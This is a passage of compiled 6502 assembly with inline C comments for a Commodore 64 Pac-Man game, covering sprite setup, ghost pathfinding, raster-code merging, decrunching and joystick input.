sta bobs_yfine,x
// bobs_bob_id[i] = 0
lda #0
sta bobs_bob_id,x
// for(char i=0;i<4;i++)
inx
jmp __b9
__b7:
// SPRITES_COLOR[i] = top_sprites_color
lda.z top_sprites_color
sta SPRITES_COLOR,x
// for(char i=0;i<8;i++)
inx
jmp __b6
__b3:
// i*2
lda.z i
asl
tay
// SPRITES_YPOS[i*2] = 7
lda #7
sta SPRITES_YPOS,y
// unsigned int xpos = sprites_xpos[i]
lda sprites_xpos,y
sta.z xpos
lda sprites_xpos+1,y
sta.z xpos+1
// SPRITES_XPOS[i*2] = (char)xpos
lda.z xpos
sta SPRITES_XPOS,y
// msb /= 2
txa
lsr
tax
// BYTE1(xpos)
lda.z xpos+1
// if(BYTE1(xpos))
cmp #0
beq __b4
// msb |=0x80
txa
ora #$80
tax
__b4:
// for(char i=0;i<8;i++)
inc.z i
jmp __b2
.segment Data
// Sprite positions
sprites_xpos: .word $1e7, $13f, $10f, $df, $af, $7f, $4f, $1f
}
.segment Code
// Initialize all data for gameplay and runs the game.
// Exits when the user has won or lost
gameplay_run: {
.label __4 = 9
// asm
sei
ldx #0
// Stop any sound
__b1:
// for(char i=0;i<0x2f;i++)
cpx #$2f
bcs !__b2+
jmp __b2
!__b2:
// pacman_wins = 0
// Pacman has not won yet
lda #0
sta.z pacman_wins
// pacman_lives = 3
// Pacman has 3 lives
lda #3
sta.z pacman_lives
// VICII->SPRITES_MCOLOR1 = BLACK
// During transition all sprites are black
lda #BLACK
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MCOLOR1
// VICII->SPRITES_MCOLOR2 = BLACK
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MCOLOR2
ldx #0
__b4:
// for(char i=0;i<8;i++)
cpx #8
bcs !__b5+
jmp __b5
!__b5:
// byteboozer_decrunch(LEVEL_TILES_CRUNCHED)
lda #<LEVEL_TILES_CRUNCHED
sta.z byteboozer_decrunch.crunched
lda #>LEVEL_TILES_CRUNCHED
sta.z byteboozer_decrunch.crunched+1
// decrunch level tiles
jsr byteboozer_decrunch
// init_level_tile_directions()
// Initialize tile directions
jsr init_level_tile_directions
// init_sprite_pointers()
// Set sprite pointers on all screens (in both graphics banks)
jsr init_sprite_pointers
// level_show()
jsr level_show
// level_show()
// pill_count = level_show()
// Show the level
lda.z __4
sta.z pill_count
lda.z __4+1
sta.z pill_count+1
// top_sprites_mc = 0xff
// During gameplay all sprites are MC.
lda #$ff
sta.z top_sprites_mc
// side_sprites_mc = 0xff
sta.z side_sprites_mc
// bottom_sprites_mc = 0xff
sta.z bottom_sprites_mc
// top_sprites_color = YELLOW
// During gameplay all sprites are yellow
lda #YELLOW
sta.z top_sprites_color
// side_sprites_color = YELLOW
sta.z side_sprites_color
// bottom_sprites_color = YELLOW
sta.z bottom_sprites_color
// VICII->SPRITES_MC = top_sprites_mc
// Set the initial top colors/MC
lda.z top_sprites_mc
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MC
ldx #0
// Set initial Sprite Color
__b7:
// for(char i=0;i<8;i++)
cpx #8
bcc __b8
// VICII->SPRITES_MCOLOR1 = BLUE
// Set sprite MC-colors for the game
lda #BLUE
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MCOLOR1
// VICII->SPRITES_MCOLOR2 = RED
lda #RED
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MCOLOR2
// phase = 1
// Set phase to game
lda #1
sta.z phase
// spawn_all()
// Spawn pacman and all ghosts
jsr spawn_all
// pacman_sound_init()
// Initialize the game sound
jsr pacman_sound_init
// game_playable = 1
// Start the game play
lda #1
sta.z game_playable
// VICII->CONTROL1 = VICII_RSEL|VICII_DEN|VICII_ECM|VICII_BMM
// Turn on raster after transition
// Start a hyperscreen with no badlines and open borders
// Set screen height to 25 lines (preparing for the hyperscreen), enable display
lda #VICII_RSEL|VICII_DEN|VICII_ECM|VICII_BMM
sta VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL1
// Wait at least one frames for DEN to take effect
__b10:
// while(VICII->RASTER!=0xfb)
lda #$fb
cmp VICII+OFFSET_STRUCT_MOS6569_VICII_RASTER
bne __b10
__b11:
// while(VICII->RASTER!=0xfa)
lda #$fa
cmp VICII+OFFSET_STRUCT_MOS6569_VICII_RASTER
bne __b11
// VICII->CONTROL1 &= ~(VICII_RST8|VICII_RSEL|VICII_DEN)
// Open lower/upper border using RSEL - and disable all graphics (except sprites)
// Set up RASTER IRQ to start at irq_screen_top() (RST8=0)
lda #(VICII_RST8|VICII_RSEL|VICII_DEN)^$ff
and VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL1
sta VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL1
// VICII->RASTER = IRQ_SCREEN_TOP_LINE
lda #IRQ_SCREEN_TOP_LINE
sta VICII+OFFSET_STRUCT_MOS6569_VICII_RASTER
// *HARDWARE_IRQ = &irq_screen_top
lda #<irq_screen_top
sta HARDWARE_IRQ
lda #>irq_screen_top
sta HARDWARE_IRQ+1
// VICII->IRQ_ENABLE = IRQ_RASTER
// Enable Raster Interrupt
lda #IRQ_RASTER
sta VICII+OFFSET_STRUCT_MOS6569_VICII_IRQ_ENABLE
// asm
// Acknowledge any timer IRQ
lda CIA1_INTERRUPT
// *IRQ_STATUS = 0x0f
// Acknowledge any VIC IRQ
lda #$f
sta IRQ_STATUS
// asm
cli
__b13:
// if(pacman_wins || pacman_lives==0)
lda.z pacman_wins
bne __breturn
lda.z pacman_lives
beq __breturn
jmp __b13
__breturn:
// }
rts
__b8:
// SPRITES_COLOR[i] = top_sprites_color
lda.z top_sprites_color
sta SPRITES_COLOR,x
// for(char i=0;i<8;i++)
inx
jmp __b7
__b5:
// SPRITES_COLOR[i] = BLACK
lda #BLACK
sta SPRITES_COLOR,x
// for(char i=0;i<8;i++)
inx
jmp __b4
__b2:
// ((char*)SID)[i] = 0
lda #0
sta SID,x
// for(char i=0;i<0x2f;i++)
inx
jmp __b1
}
// Show Victory or Game Over Image
// Returns when the user clicks the joystick button
done_run: {
// Show the win graphics
.label gfx = 5
.label ypos = $10
.label xcol = $14
// game_playable = 0
// Stop the game play
lda #0
sta.z game_playable
// phase = 0
// Set phase to intro
sta.z phase
tax
// Stop any sound
__b4:
// for(char i=0;i<0x2f;i++)
cpx #$2f
bcs !__b5+
jmp __b5
!__b5:
ldx #0
// Move the bobs to the center to avoid interference while rendering the level
__b6:
// for(char i=0;i<4;i++)
cpx #4
bcc __b7
// asm
// Init music
lda #0
// (*musicInit)()
jsr musicInit
// if(pacman_wins)
lda.z pacman_wins
bne __b2
// byteboozer_decrunch(GAMEOVER_GFX_CRUNCHED)
lda #<GAMEOVER_GFX_CRUNCHED
sta.z byteboozer_decrunch.crunched
lda #>GAMEOVER_GFX_CRUNCHED
sta.z byteboozer_decrunch.crunched+1
// decrunch game over graphics
jsr byteboozer_decrunch
__b1:
lda #<WIN_GFX
sta.z gfx
lda #>WIN_GFX
sta.z gfx+1
lda #0
sta.z xcol
__b9:
// for(char xcol=0;xcol<25;xcol++)
lda.z xcol
cmp #$19
bcc __b3
// music_play_next = 0
// Wait for fire
lda #0
sta.z music_play_next
__b14:
// joyfire()
jsr joyfire
// while(!joyfire())
cmp #0
beq __b15
// }
rts
__b15:
// if(music_play_next)
lda.z music_play_next
beq __b14
// (*musicPlay)()
//VICII->BG_COLOR=1;
jsr musicPlay
// music_play_next = 0
//VICII->BG_COLOR=0;
lda #0
sta.z music_play_next
jmp __b14
__b3:
lda #0
sta.z ypos
__b11:
// for(char ypos=0;ypos<25;ypos++)
lda.z ypos
cmp #$19
bcc __b12
// for(char xcol=0;xcol<25;xcol++)
inc.z xcol
jmp __b9
__b12:
// char pixels = *gfx++
// Render 8px x 1px
ldy #0
lda (gfx),y
tax
inc.z gfx
bne !+
inc.z gfx+1
!:
// render(xcol, ypos, pixels)
stx.z render.pixels
jsr render
// for(char ypos=0;ypos<25;ypos++)
inc.z ypos
jmp __b11
__b2:
// byteboozer_decrunch(WIN_GFX_CRUNCHED)
lda #<WIN_GFX_CRUNCHED
sta.z byteboozer_decrunch.crunched
lda #>WIN_GFX_CRUNCHED
sta.z byteboozer_decrunch.crunched+1
// decrunch win graphics
jsr byteboozer_decrunch
jmp __b1
__b7:
// bobs_xcol[i] = 10
lda #$a
sta bobs_xcol,x
// bobs_yfine[i] = 45
lda #$2d
sta bobs_yfine,x
// bobs_bob_id[i] = 0
lda #0
sta bobs_bob_id,x
// for(char i=0;i<4;i++)
inx
jmp __b6
__b5:
// ((char*)SID)[i] = 0
lda #0
sta SID,x
// for(char i=0;i<0x2f;i++)
inx
jmp __b4
}
// Spawn pacman and all ghosts
spawn_all: {
// ghosts_mode_count = 0
lda #0
sta.z ghosts_mode_count
// pacman_substep = 0
sta.z pacman_substep
// ghost1_substep = 0
sta.z ghost1_substep
// ghost2_substep = 0
sta.z ghost2_substep
// ghost3_substep = 0
sta.z ghost3_substep
// ghost4_substep = 0
sta.z ghost4_substep
// pacman_direction = STOP
lda #STOP
sta.z pacman_direction
// ghost1_direction = STOP
sta.z ghost1_direction
// ghost2_direction = STOP
sta.z ghost2_direction
// ghost3_direction = STOP
sta.z ghost3_direction
// ghost4_direction = STOP
sta.z ghost4_direction
// pacman_xfine = 50
lda #$32
sta.z pacman_xfine
// ghost1_xfine = 50
sta.z ghost1_xfine
// ghost2_xfine = 50
sta.z ghost2_xfine
// ghost3_xfine = 50
sta.z ghost3_xfine
// ghost4_xfine = 50
sta.z ghost4_xfine
// ghost1_yfine = 35
lda #$23
sta.z ghost1_yfine
// ghost2_yfine = 35
sta.z ghost2_yfine
// ghost3_yfine = 35
sta.z ghost3_yfine
// ghost4_yfine = 35
sta.z ghost4_yfine
// pacman_yfine = 62
lda #$3e
sta.z pacman_yfine
// ghost1_respawn = 10
lda #$a
sta.z ghost1_respawn
// ghost2_respawn = 20
lda #$14
sta.z ghost2_respawn
// ghost3_respawn = 30
lda #$1e
sta.z ghost3_respawn
// ghost4_respawn = 40
lda #$28
sta.z ghost4_respawn
// }
rts
}
// Get the open directions at a given (xtile, ytile) position
// Returns the open DIRECTIONs as bits
// If xtile of ytile is outside the legal range the empty tile (0) is returned
// __register(A) char level_tile_directions(__register(X) char xtile, __register(A) char ytile)
level_tile_directions: {
.label ytiles = $31
// if(xtile>49 || ytile>36)
cpx #$31+1
bcs __b1
cmp #$24+1
bcs __b1
// char* ytiles = LEVEL_TILES_DIRECTIONS + LEVEL_YTILE_OFFSET[ytile]
asl
tay
clc
lda #<LEVEL_TILES_DIRECTIONS
adc LEVEL_YTILE_OFFSET,y
sta.z ytiles
lda #>LEVEL_TILES_DIRECTIONS
adc LEVEL_YTILE_OFFSET+1,y
sta.z ytiles+1
// return ytiles[xtile];
txa
tay
lda (ytiles),y
rts
__b1:
lda #0
// }
rts
}
// Choose the open direction that brings the ghost closest to the target
// Uses Manhattan distance calculation
// __zp($33) char choose_direction(__zp($4a) char open_directions, __register(Y) char ghost_xtile, __zp($37) char ghost_ytile, __register(X) char target_xtile, __zp($27) char target_ytile)
choose_direction: {
.label open_directions = $4a
.label ghost_ytile = $37
.label target_ytile = $27
.label xdiff = $4c
.label ydiff = $4b
.label dist_left = $22
.label return = $33
.label direction = $33
.label dist_min = $22
// char xdiff = ghost_xtile-target_xtile
tya
stx.z $ff
sec
sbc.z $ff
sta.z xdiff
// char ydiff = ghost_ytile-target_ytile
lda.z ghost_ytile
sec
sbc.z target_ytile
sta.z ydiff
// open_directions&UP
lda #UP
and.z open_directions
// if(open_directions&UP)
cmp #0
beq __b5
// char dist_up = ABS[xdiff] + ABS[ydiff-1]
ldy.z xdiff
lda ABS,y
ldy.z ydiff
clc
adc ABS+-1,y
tay
// if(dist_up<dist_min)
cpy #$ff
bcs __b5
lda #UP
sta.z direction
jmp __b1
__b5:
lda #STOP
sta.z direction
ldy #$ff
__b1:
// open_directions&DOWN
lda #DOWN
and.z open_directions
// if(open_directions&DOWN)
cmp #0
beq __b10
// char dist_down = ABS[xdiff] + ABS[ydiff+1]
ldx.z xdiff
lda ABS,x
ldx.z ydiff
clc
adc ABS+1,x
tax
// if(dist_down<dist_min)
sty.z $ff
cpx.z $ff
bcs __b11
lda #DOWN
sta.z direction
jmp __b2
__b11:
tya
tax
__b2:
// open_directions&LEFT
lda #LEFT
and.z open_directions
// if(open_directions&LEFT)
cmp #0
beq __b12
// char dist_left = ABS[xdiff-1] + ABS[ydiff]
ldy.z xdiff
lda ABS+-1,y
ldy.z ydiff
clc
adc ABS,y
sta.z dist_left
// if(dist_left<dist_min)
stx.z $ff
cmp.z $ff
bcs __b13
lda #LEFT
sta.z direction
jmp __b3
__b13:
stx.z dist_min
__b3:
// open_directions&RIGHT
lda #RIGHT
and.z open_directions
// if(open_directions&RIGHT)
cmp #0
beq __b4
// char dist_right = ABS[xdiff+1] + ABS[ydiff]
ldy.z xdiff
lda ABS+1,y
ldy.z ydiff
clc
adc ABS,y
// if(dist_right<dist_min)
cmp.z dist_min
bcs __b4
lda #RIGHT
sta.z return
rts
__b4:
// }
rts
__b12:
stx.z dist_min
jmp __b3
__b10:
tya
tax
jmp __b2
}
// Copies the character c (an unsigned char) to the first num characters of the object pointed to by the argument str.
// void * memset(__zp($6f) void *str, char c, __zp(5) unsigned int num)
memset: {
.label end = 5
.label dst = $b
.label num = 5
.label str = $6f
// if(num>0)
lda.z num
bne !+
lda.z num+1
beq __breturn
!:
// char* end = (char*)str + num
clc
lda.z end
adc.z str
sta.z end
lda.z end+1
adc.z str+1
sta.z end+1
lda.z str
sta.z dst
lda.z str+1
sta.z dst+1
__b2:
// for(char* dst = str; dst!=end; dst++)
lda.z dst+1
cmp.z end+1
bne __b3
lda.z dst
cmp.z end
bne __b3
__breturn:
// }
rts
__b3:
// *dst = c
lda #0
tay
sta (dst),y
// for(char* dst = str; dst!=end; dst++)
inc.z dst
bne !+
inc.z dst+1
!:
jmp __b2
}
// Decrunch crunched data using ByteBoozer
// - crunched: Pointer to the start of the crunched data
// void byteboozer_decrunch(__zp($24) char * volatile crunched)
byteboozer_decrunch: {
.label crunched = $24
// asm
ldy crunched
ldx crunched+1
jsr b2.Decrunch
// }
rts
}
// Merge unrolled cycle-exact logic code into an unrolled cycle-exact raster code.
// The logic-code is merged into the raster code ensuring cycle-exact execution. If a logic-code block does not fit within the remaining cycle-budget of a raster-slot then NOPs/BIT $EA are used to reach the cycle-budget.
// If the logic-code runs out before the raster-code ends then the remaining raster-slots are filled with NOP/BIT$EA.
// If the raster-code runs out before the logic-code then the rest of the logic-code is added at the end.
// An RTS is added at the very end.
//
// Parameters:
// - dest_code: Address where the merged code is placed
// - raster_code: The unrolled raster code blocks with information about cycles to be filled. Format is decribed below.
// - logic_code: The unrolled logic code with information about cycles spent. Format is decribed below.
//
// Format of unrolled raster code.
// A number of blocks that have the following structure:
// <nn>* 0xff <cc>
// <nn>* : some bytes of code. any number of bytes are allowed.
// 0xff : signals the end of a block.
// <cc> : If <cc> is 00 then this is the last block of the unrolled raster code.
// If <cc> is non-zero it means that <cc> cycles must be spent here (the cycle budget of the slot). The merger merges logic code into the slot and fills with NOP's to match the number of cycles needed.
//
// Format of unrolled logic code.
// A number of blocks that has the following structure:
// <cc> <nn>* 0xff
// <cc> : If <cc> is 00 then this is the last block of the unrolled logic code. No more bytes are used.
// If <cc> is non-zero it holds the number of cycles used by the block of code.
// <nn>* : some bytes of code. any number of bytes are allowed. This code uses exactly the number of cycles specified by <cc>
// 0xff : signals the end of a block.
// void merge_code(__zp(9) char *dest_code, __zp($b) char *raster_code, __zp(5) char *logic_code)
merge_code: {
// Cycle-count signalling the last block of the logic-code
.const LOGIC_EXIT = 0
// Value signalling the end of a block of the logic-code
.const LOGIC_END = $ff
// Cycle-count signalling the last block of the raster-code
.const RASTER_EXIT = 0
// Value signalling the end of a block of the raster-code
.const RASTER_END = $ff
.label dest_code = 9
.label raster_code = $b
.label logic_cycles = 2
.label logic_code = 5
lda #<LOGIC_CODE_UNMERGED
sta.z logic_code
lda #>LOGIC_CODE_UNMERGED
sta.z logic_code+1
lda #<RASTER_CODE
sta.z dest_code
lda #>RASTER_CODE
sta.z dest_code+1
lda #<RASTER_CODE_UNMERGED
sta.z raster_code
lda #>RASTER_CODE_UNMERGED
sta.z raster_code+1
// Output raster code until meeting RASTER_END signalling the end of a block
__b1:
// while(*raster_code!=RASTER_END)
ldy #0
lda (raster_code),y
cmp #RASTER_END
beq !__b2+
jmp __b2
!__b2:
// raster_code++;
inc.z raster_code
bne !+
inc.z raster_code+1
!:
// char cycle_budget = *raster_code++
// Find the number of cycles
ldy #0
lda (raster_code),y
tax
inc.z raster_code
bne !+
inc.z raster_code+1
!:
// if(cycle_budget==RASTER_EXIT)
cpx #RASTER_EXIT
bne __b4
__b3:
// No more raster code - fill in the rest of the logic code
// while(*logic_code!=LOGIC_EXIT)
ldy #0
lda (logic_code),y
cmp #LOGIC_EXIT
bne __b15
// *dest_code++ = 0x60
// And add an RTS
lda #$60
sta (dest_code),y
// }
rts
__b15:
// logic_code++;
inc.z logic_code
bne !+
inc.z logic_code+1
!:
__b5:
// Fill in the logic-code
// while(*logic_code!=LOGIC_END)
ldy #0
lda (logic_code),y
cmp #LOGIC_END
bne __b18
// logic_code++;
inc.z logic_code
bne !+
inc.z logic_code+1
!:
jmp __b3
__b18:
// *dest_code++ = *logic_code++
ldy #0
lda (logic_code),y
sta (dest_code),y
// *dest_code++ = *logic_code++;
inc.z dest_code
bne !+
inc.z dest_code+1
!:
inc.z logic_code
bne !+
inc.z logic_code+1
!:
jmp __b5
// Fit the cycle budget with logic-code
__b4:
// while(cycle_budget>0)
cpx #0
beq __b6
// char logic_cycles = *logic_code
// Find the number of logic code cycles
ldy #0
lda (logic_code),y
sta.z logic_cycles
// cycle_budget-1
txa
tay
dey
// if(logic_cycles!=LOGIC_EXIT && (logic_cycles < cycle_budget-1 || logic_cycles==cycle_budget))
lda #LOGIC_EXIT
cmp.z logic_cycles
bne __b20
__b6:
// Fit the cycle budget with NOPs
__b10:
// while(cycle_budget>0)
cpx #0
bne __b11
jmp __b1
__b11:
// if(cycle_budget==3)
cpx #3
beq __b12
// *dest_code++ = 0xEA
lda #$ea
ldy #0
sta (dest_code),y
// *dest_code++ = 0xEA;
inc.z dest_code
bne !+
inc.z dest_code+1
!:
// cycle_budget -= 2
// NOP
dex
dex
jmp __b6
__b12:
// *dest_code++ = 0x24
lda #$24
ldy #0
sta (dest_code),y
// *dest_code++ = 0x24;
inc.z dest_code
bne !+
inc.z dest_code+1
!:
// *dest_code++ = 0xEA
// BIT $EA
lda #$ea
ldy #0
sta (dest_code),y
// *dest_code++ = 0xEA;
inc.z dest_code
bne !+
inc.z dest_code+1
!:
// cycle_budget -= 3
txa
axs #3
jmp __b6
__b20:
// if(logic_cycles!=LOGIC_EXIT && (logic_cycles < cycle_budget-1 || logic_cycles==cycle_budget))
cpy.z logic_cycles
beq !+
bcs __b9
!:
cpx.z logic_cycles
beq __b9
jmp __b10
__b9:
// logic_code++;
inc.z logic_code
bne !+
inc.z logic_code+1
!:
__b13:
// Fill in the logic-code
// while(*logic_code!=LOGIC_END)
ldy #0
lda (logic_code),y
cmp #LOGIC_END
bne __b7
// logic_code++;
inc.z logic_code
bne !+
inc.z logic_code+1
!:
// cycle_budget -= logic_cycles
// Reduce the cycle budget
txa
sec
sbc.z logic_cycles
tax
jmp __b4
__b7:
// *dest_code++ = *logic_code++
ldy #0
lda (logic_code),y
sta (dest_code),y
// *dest_code++ = *logic_code++;
inc.z dest_code
bne !+
inc.z dest_code+1
!:
inc.z logic_code
bne !+
inc.z logic_code+1
!:
jmp __b13
__b2:
// *dest_code++ = *raster_code++
ldy #0
lda (raster_code),y
sta (dest_code),y
// *dest_code++ = *raster_code++;
inc.z dest_code
bne !+
inc.z dest_code+1
!:
inc.z raster_code
bne !+
inc.z raster_code+1
!:
jmp __b1
}
// Initialize the RENDER_INDEX table from sub-tables
init_render_index: {
.label __10 = $d
.label __11 = $d
.label render_index_xcol = 5
.label canvas_xcol = 3
.label canvas = $d
.label render_index = 5
.label x_col = $14
.label render_index_xcol_1 = $b
.label y_pos = $10
// Special column in sprite#9
.label render_ypos_table = 9
.label __12 = $d
lda #<RENDER_INDEX
sta.z render_index_xcol
lda #>RENDER_INDEX
sta.z render_index_xcol+1
lda #0
sta.z x_col
__b1:
// for(char x_col=0;x_col<26;x_col++)
lda.z x_col
cmp #$1a
bcc __b2
// (RENDER_INDEX+24*0x100)[RENDER_OFFSET_YPOS_INC] = 0
// Fix the first entry of the inc_offset in the last column (set it to point to 0,0,6,6...)
lda #0
sta RENDER_INDEX+$18*$100+RENDER_OFFSET_YPOS_INC
// (RENDER_INDEX+25*0x100)[RENDER_OFFSET_YPOS_INC] = 0
sta RENDER_INDEX+$19*$100+RENDER_OFFSET_YPOS_INC
// }
rts
__b2:
// if(x_col>=24)
lda.z x_col
cmp #$18
bcc __b3
ldx #$b
lda #<RENDER_YPOS_9TH
sta.z render_ypos_table
lda #>RENDER_YPOS_9TH
sta.z render_ypos_table+1
jmp __b4
__b3:
ldx #0
lda #<RENDER_YPOS
sta.z render_ypos_table
lda #>RENDER_YPOS
sta.z render_ypos_table+1
__b4:
// char * canvas_xcol = RENDER_XCOLS[x_col]
lda.z x_col
asl
tay
lda RENDER_XCOLS,y
sta.z canvas_xcol
lda RENDER_XCOLS+1,y
sta.z canvas_xcol+1
lda.z render_index_xcol
sta.z render_index_xcol_1
lda.z render_index_xcol+1
sta.z render_index_xcol_1+1
lda #0
sta.z y_pos
__b5:
// for(char y_pos=0;y_pos<148;y_pos+=2)
lda.z y_pos
cmp #$94
bcc __b6
// render_index += 0x100
lda.z render_index
clc
adc #<$100
sta.z render_index
lda.z render_index+1
adc #>$100
sta.z render_index+1
// for(char x_col=0;x_col<26;x_col++)
inc.z x_col
jmp __b1
__b6:
// char * canvas = canvas_xcol + render_ypos_table[(unsigned int)y_pos]
lda.z y_pos
sta.z __11
lda #0
sta.z __11+1
asl.z __10
rol.z __10+1
clc
lda.z __12
adc.z render_ypos_table
sta.z __12
lda.z __12+1
adc.z render_ypos_table+1
sta.z __12+1
ldy #0
clc
lda (canvas),y
adc.z canvas_xcol
pha
iny
lda (canvas),y
adc.z canvas_xcol+1
sta.z canvas+1
pla
sta.z canvas
// BYTE0(canvas)
// render_index_xcol[RENDER_OFFSET_CANVAS_LO] = BYTE0(canvas)
ldy #0
sta (render_index_xcol_1),y
// BYTE1(canvas)
lda.z canvas+1
// render_index_xcol[RENDER_OFFSET_CANVAS_HI] = BYTE1(canvas)
ldy #RENDER_OFFSET_CANVAS_HI
sta (render_index_xcol_1),y
// render_index_xcol[RENDER_OFFSET_YPOS_INC] = ypos_inc_offset
ldy #RENDER_OFFSET_YPOS_INC
txa
sta (render_index_xcol_1),y
// ypos_inc_offset += 2
inx
inx
// if(ypos_inc_offset>=23)
cpx #$17
bcc __b8
// ypos_inc_offset-=21
txa
axs #$15
__b8:
// render_index_xcol++;
inc.z render_index_xcol_1
bne !+
inc.z render_index_xcol_1+1
!:
// y_pos+=2
lda.z y_pos
clc
adc #2
sta.z y_pos
jmp __b5
}
// Show the splash screen
splash_show: {
// Show splash screen
.label splash = $b
.label ypos = $10
.label xcol = $14
lda #<SPLASH
sta.z splash
lda #>SPLASH
sta.z splash+1
lda #0
sta.z xcol
__b1:
// for(char xcol=0;xcol<25;xcol++)
lda.z xcol
cmp #$19
bcc __b4
// }
rts
__b4:
lda #0
sta.z ypos
__b2:
// for(char ypos=0;ypos<147;ypos++)
lda.z ypos
cmp #$93
bcc __b3
// for(char xcol=0;xcol<25;xcol++)
inc.z xcol
jmp __b1
__b3:
// char pixels = *splash++
// Render 8px x 1px
ldy #0
lda (splash),y
tax
inc.z splash
bne !+
inc.z splash+1
!:
// render(xcol, ypos, pixels)
stx.z render.pixels
jsr render
// for(char ypos=0;ypos<147;ypos++)
inc.z ypos
jmp __b2
}
// Initialize bobs_restore with data to prevent crash on the first call
init_bobs_restore: {
.label CANVAS_HIDDEN = $ea00
.label bob_restore = 9
lda #<bobs_restore
sta.z bob_restore
lda #>bobs_restore
sta.z bob_restore+1
ldx #0
__b1:
// for(char bob=0;bob<NUM_BOBS*2;bob++)
cpx #NUM_BOBS*2
bcc __b2
// logic_tile_ptr = LEVEL_TILES + 64*18 + 12
// Also set the logic tile to something sane
lda #<LEVEL_TILES+$40*$12+$c
sta.z logic_tile_ptr
lda #>LEVEL_TILES+$40*$12+$c
sta.z logic_tile_ptr+1
// logic_tile_xcol = 12
lda #$c
sta.z logic_tile_xcol
// logic_tile_yfine = 35
lda #$23
sta.z logic_tile_yfine
// }
rts
__b2:
ldy #0
__b3:
// for(char i=0;i<SIZE_BOB_RESTORE;i++)
cpy #SIZE_BOB_RESTORE
bcc __b4
// bob_restore[0] = BYTE0(CANVAS_HIDDEN)
lda #0
tay
sta (bob_restore),y
// bob_restore[1] = BYTE1(CANVAS_HIDDEN)
lda #>CANVAS_HIDDEN
ldy #1
sta (bob_restore),y
// bob_restore[3] = BYTE0(CANVAS_HIDDEN)
lda #0
ldy #3
sta (bob_restore),y
// bob_restore[4] = BYTE1(CANVAS_HIDDEN)
lda #>CANVAS_HIDDEN
ldy #4
sta (bob_restore),y
// bob_restore += SIZE_BOB_RESTORE
lda #SIZE_BOB_RESTORE
clc
adc.z bob_restore
sta.z bob_restore
bcc !+
inc.z bob_restore+1
!:
// for(char bob=0;bob<NUM_BOBS*2;bob++)
inx
jmp __b1
__b4:
// bob_restore[i] = 0
lda #0
sta (bob_restore),y
// for(char i=0;i<SIZE_BOB_RESTORE;i++)
iny
jmp __b3
}
// Initialize sprite pointers on all screens (in both graphics banks)
init_sprite_pointers: {
.const SPRITE_ID_0 = $ff&(SPRITES_1&$3fff)/$40
.label sprites_ptr_1 = 9
.label sprites_ptr_2 = 7
lda #<SCREENS_2+OFFSET_SPRITE_PTRS
sta.z sprites_ptr_2
lda #>SCREENS_2+OFFSET_SPRITE_PTRS
sta.z sprites_ptr_2+1
lda #<SCREENS_1+OFFSET_SPRITE_PTRS
sta.z sprites_ptr_1
lda #>SCREENS_1+OFFSET_SPRITE_PTRS
sta.z sprites_ptr_1+1
ldx #0
__b1:
// for(char screen=0;screen<14;screen++)
cpx #$e
bcc __b4
// }
rts
__b4:
ldy #0
__b2:
// for(char sprite=0; sprite<8; sprite++)
cpy #8
bcc __b3
// sprites_ptr_1 += 0x400
lda.z sprites_ptr_1
clc
adc #<$400
sta.z sprites_ptr_1
lda.z sprites_ptr_1+1
adc #>$400
sta.z sprites_ptr_1+1
// sprites_ptr_2 += 0x400
lda.z sprites_ptr_2
clc
adc #<$400
sta.z sprites_ptr_2
lda.z sprites_ptr_2+1
adc #>$400
sta.z sprites_ptr_2+1
// for(char screen=0;screen<14;screen++)
inx
jmp __b1
__b3:
// SPRITE_ID_0 + screen
txa
clc
adc #SPRITE_ID_0
// char sprite_id = SPRITE_ID_0 + screen + sprites_id[sprite]
clc
adc sprites_id,y
// sprites_ptr_1[sprite] = sprite_id
sta (sprites_ptr_1),y
// sprites_ptr_2[sprite] = sprite_id
sta (sprites_ptr_2),y
// for(char sprite=0; sprite<8; sprite++)
iny
jmp __b2
.segment Data
sprites_id: .byte 0, $70, $60, $50, $40, $30, $20, $10
}
.segment Code
// Copy block of memory (forwards)
// Copies the values of num bytes from the location pointed to by source directly to the memory block pointed to by destination.
// void * memcpy(void *destination, void *source, unsigned int num)
memcpy: {
.label destination = INTRO_MUSIC_CRUNCHED_UPPER
.label source = INTRO_MUSIC_CRUNCHED
.label src_end = source+INTRO_MUSIC_CRUNCHED_SIZE
.label dst = 9
.label src = 7
lda #<destination
sta.z dst
lda #>destination
sta.z dst+1
lda #<source
sta.z src
lda #>source
sta.z src+1
__b1:
// while(src!=src_end)
lda.z src+1
cmp #>src_end
bne __b2
lda.z src
cmp #<src_end
bne __b2
// }
rts
__b2:
// *dst++ = *src++
ldy #0
lda (src),y
sta (dst),y
// *dst++ = *src++;
inc.z dst
bne !+
inc.z dst+1
!:
inc.z src
bne !+
inc.z src+1
!:
jmp __b1
}
// Prepare for joystick control
joyinit: {
// CIA1->PORT_A_DDR = 0x00
// Joystick Read Mode
lda #0
sta CIA1+OFFSET_STRUCT_MOS6526_CIA_PORT_A_DDR
// }
rts
}
// Return 1 if joy #2 fire is pressed
joyfire: {
// CIA1->PORT_A & 0x10
lda #$10
and CIA1
// if( (CIA1->PORT_A & 0x10) == 0 )
cmp #0
beq __b1
lda #0
rts
__b1:
lda #1
// }
rts
}
// Initialize the LEVEL_TILES_DIRECTIONS table with bits representing all open (non-blocked) movement directions from a tile
init_level_tile_directions: {
.label directions = 9
.label ytile = $14
.label open_directions = $f
.label xtile = $10
lda #<LEVEL_TILES_DIRECTIONS
sta.z directions
lda #>LEVEL_TILES_DIRECTIONS
sta.z directions+1
lda #0
sta.z ytile
__b1:
// for(char ytile=0;ytile<37;ytile++)
lda.z ytile
cmp #$25
bcc __b4
// }
rts
__b4:
lda #0
sta.z xtile
__b2:
// for(char xtile=0; xtile<50; xtile++)
lda.z xtile
cmp #$32
bcc __b3
// directions += 0x40
lda #$40
clc
adc.z directions
sta.z directions
bcc !+
inc.z directions+1
!:
// for(char ytile=0;ytile<37;ytile++)
inc.z ytile
jmp __b1
__b3:
// level_tile_get(xtile-1, ytile)
ldx.z xtile
dex
lda.z ytile
jsr level_tile_get
// level_tile_get(xtile-1, ytile)
tax
// if(TILES_TYPE[level_tile_get(xtile-1, ytile)]!=WALL)
lda TILES_TYPE,x
cmp #WALL
beq __b9
lda #LEFT
sta.z open_directions
